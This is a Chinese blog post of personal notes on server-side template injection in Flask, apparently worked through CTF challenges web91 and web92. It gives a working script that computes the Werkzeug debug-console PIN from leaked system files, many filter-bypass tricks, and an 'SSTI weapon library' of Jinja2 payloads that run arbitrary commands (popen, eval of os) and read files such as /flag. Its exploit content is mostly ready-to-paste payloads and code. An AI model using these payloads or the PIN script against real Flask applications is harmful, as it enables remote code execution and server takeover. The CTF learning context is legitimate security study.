• 【心得】基于flask的SSTI个人笔记


    目录

    计算PIN码

    例题1

    SSTI的引用链

    例题2


    SSTI利用条件:

    渲染字符串可控,也就说模板的内容可控

    我们通过模板 语法 {{ xxx }}相当于变相的执行了服务器上的python代码

    利用render_template_string函数参数可控,或者部分可控

    render_template     相当于 include 传入的时模板的名字,执行的时模板文件内的模板语法

    render_template_string 相当于 eval 执行传入的字符串,直接作为模板语法解析

    验证ssti是否存在

    1 {{ 2*2 }}

    2 {{ config }}

    计算PIN码


    如果文件读取存在,可以拼凑出PIN的所有计算要素,从而自己计算出PIN码

    计算PIN码

    modname: flask.app
    username: Administrator

    public_bits 内容

    ['Administrator', 'flask.app', 'Flask', 'D:\\Python\\Python310\\lib\\site-packages\\flask\\app.py']

    我们需要知道当前登陆的用户名

    private_bits 内容

    ['197975952026825', b'5d744fd6-d3af-4dec-83f4-04043f200c3c']

    getNode     uuid.getnode
    machine_id  读注册表内容


    总结
    要计算PIN码,需要private_bits 和public_bits 

    分别需要确定的是:

    1 python运行的脚本名
    2 固定值  flask.app
    3 固定值  Flask
    4 当前脚本运行的绝对路径  可以从报错获取
    5 uuid.getnode
    6 machine_id


    ['Administrator', 'flask.app', 'Flask', 'D:\\Python\\Python310\\lib\\site-packages\\flask\\app.py']
    ['Administrator', 'flask.app', 'Flask', 'D:\\Python\\Python310\\Lib\\site-packages\\flask\\app.py']


    ['197975952026825', '5d744fd6-d3af-4dec-83f4-04043f200c3c']
    ['197975952026825', '5d744fd6-d3af-4dec-83f4-04043f200c3c']

    linux下
    getNode读取的文件  /sys/class/net/eth0/address

    02:42:0a:00:01:74

    对其进行整理
    >>> s='02:42:0a:00:01:74'
    >>> s=s.replace(":","")
    >>> print(int(s[1:],16))
    2482658869620

    boot_id  44ddd8c9-5268-4269-9bd7-5563103e44c2
    3fa8bf6711e02f5e09e6936cb69334a95de825dd72459b267799158eafe81163

    machine_id /proc/sys/kernel/random/boot_id+/proc/self/cgroup 

    整理后 拼接

    最终machine_id  

    05167573-d6ac-4836-ab76-a7897c7a600a67b526fe168364350b1a9d0ebfeb5507ccd18a0266195ce58774271715af430e

    例题1

    web91

    访问/console发现开启了debug模式

    读/etc/passwd看用户名

     

    随便传值,使其报错

    得到app路径:/usr/local/lib/python3.8/site-packages/flask/app.py

    /sys/class/net/eth0/address读getNode得到uuid

    02420a000168 十六进制转十进制即可

    2,482,658,869,608

    尝试读 /etc/machine-id失败

     读/proc/sys/kernel/random/boot_id

    读 /proc/self/cgroup

    整理后 拼接得到最终machine_id

    44ddd8c9-5268-4269-9bd7-5563103e44c23fa8bf6711e02f5e09e6936cb69334a95de825dd72459b267799158eafe81163

    贴出算PIN码的脚本

    1. import hashlib
    2. from itertools import chain
    3. def getPIN(public_bits,private_bits):
    4. rv = None
    5. num = None
    6. h = hashlib.sha1()
    7. for bit in chain(public_bits, private_bits):
    8. if not bit:
    9. continue
    10. if isinstance(bit, str):
    11. bit = bit.encode("utf-8")
    12. h.update(bit)
    13. h.update(b"cookiesalt")
    14. cookie_name = f"__wzd{h.hexdigest()[:20]}"
    15. # If we need to generate a pin we salt it a bit more so that we don't
    16. # end up with the same value and generate out 9 digits
    17. if num is None:
    18. h.update(b"pinsalt")
    19. num = f"{int(h.hexdigest(), 16):09d}"[:9]
    20. # Format the pincode in groups of digits for easier remembering if
    21. # we don't have a result yet.
    22. if rv is None:
    23. for group_size in 5, 4, 3:
    24. if len(num) % group_size == 0:
    25. rv = "-".join(
    26. num[x : x + group_size].rjust(group_size, "0")
    27. for x in range(0, len(num), group_size)
    28. )
    29. break
    30. else:
    31. rv = num
    32. return rv, cookie_name
    33. if __name__ == "__main__":
    34. public_bits=[
    35. 'root',
    36. 'flask.app',
    37. 'Flask',
    38. '/usr/local/lib/python3.8/site-packages/flask/app.py'
    39. ]
    40. private_bits=[
    41. '2482658869608','44ddd8c9-5268-4269-9bd7-5563103e44c23fa8bf6711e02f5e09e6936cb69334a95de825dd72459b267799158eafe81163'
    42. ]
    43. PIN = getPIN(public_bits,private_bits)
    44. print(PIN)

    成功拿下console ,为所欲为即可

    SSTI的引用链


    "".__class__.__base__  拿到Object对象

    .__subclasses__()[144]. 拿到os类

    __init__.__globals__['popen']('calc') 调用os类的popen方法,执行calc参数

    "".__class__.__base__.__subclasses__()[144].__init__.__globals__['popen']('calc')

    突破过滤  

    1 过滤字符.

    "".__class__   转化为  ""['__class__'']

    name={{ ""['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['popen']('ls /')['read']()}}


    2 过滤下划线_

    第一种 构造下划线   {% set a =(()|select|string|list).pop(24) %} {% print(a) %}

    第二种 十六进制绕过  {{  ()["\x5f\x5fclass\x5f\x5f"]  }}

    3 绕过[]过滤

    __getitem__   可以把中括号换成小括号使用

    name={{ "".__class__.__base__.__subclasses__().__getitem__(132) }}

    4 过滤了{{

    使用{% 绕过

    5 过滤了单引号或者双引号

    name={{ "".__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__[request.args.a](request.args.b).read() }}


    6 过滤了数字

    构造出1  {{(dict(e=a)|join|count)}}


    7 关键字绕过

    class  base  

    {{dict(__cl=a,ass__=a)|join}}

    8 还可以使用全角的数字绕过

    0123456789


    SSTI武器库


    1、任意命令执行
    {%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('dir').read()%}{%endif%}{%endfor%}
    2、任意命令执行
    {{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('cat /flag').read()}}
    //这个138对应的类是os._wrap_close,只需要找到这个类的索引就可以利用这个payload
    3、任意命令执行
    {{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}
    4、任意命令执行
    {{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
    //x的含义是可以为任意字母,不仅仅限于x
    5、任意命令执行
    {{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
    6、文件读取
    {{x.__init__.__globals__['__builtins__'].open('/flag', 'r').read()}}
    //x的含义是可以为任意字母,不仅仅限于x

    例题2

    web92

     访问/login路由

    随便传一个post

    报错提示让post传一个name 

    存在ssti

    先找os

    演示一种比较实用的找os索引值的方法

    post:

    name={{"".__class__.__base__.__subclasses__()}}

    先复制

    粘贴到记事本中,ctrl+f找到os

    删去该os及其后所有类

    复制,粘贴到vscode中

    ctrl+f搜索","有几个逗号,os的索引值就是几,这里就是132

    payload:

    name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}

    name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('tac /F*').read()}} 

    或者

    name={{ ""['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['popen']('ls /')['read']()}}

    name={{ ""['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['popen']('tac /F*')['read']()}}

  • 相关阅读:
    组件之间通过bus中央事件总线进行通信
    如何通过AI视频智能分析,构建着装规范检测/工装穿戴检测系统?
    【分享】订阅金蝶云进销存集简云连接器同步销货数据至金蝶云进销存系统
    我们对 .NET 9 的愿景
    浅谈配电室在线监控系统设计与工作原理
    Activiti 工作流引擎 详解
    C++新经典 | C++ 查漏补缺(类)
    k8s教程(15)-pod之亲和性与互斥性调度
    【80%测试员被骗,关于jmeter 的一个弥天大谎!】
    人脸检测几种模型在RK3399上推理速度对比
  • 原文地址:https://blog.csdn.net/uuzeray/article/details/134494238